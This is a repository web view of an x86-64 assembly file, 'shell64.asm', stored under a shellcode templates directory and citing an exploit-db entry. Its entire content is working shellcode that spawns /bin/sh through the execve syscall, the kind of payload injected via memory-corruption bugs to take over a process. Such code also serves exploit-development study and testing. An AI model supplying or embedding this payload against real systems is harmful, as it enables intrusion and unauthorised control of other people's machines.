summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/shell64.asm
blob: 2353b6f1dc356a67cdd9679ff099a404b7fb00f0 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[SECTION .text]
global _start

; https://www.exploit-db.com/shellcodes/47008

_start:
    xor     rsi, rsi
    xor     rdx, rdx
    push    rsi
    mov     rdi, 0x68732f2f6e69622f
    push    rdi
    push    rsp
    pop     rdi
    mov      al, 0x3b
    cdq
    syscall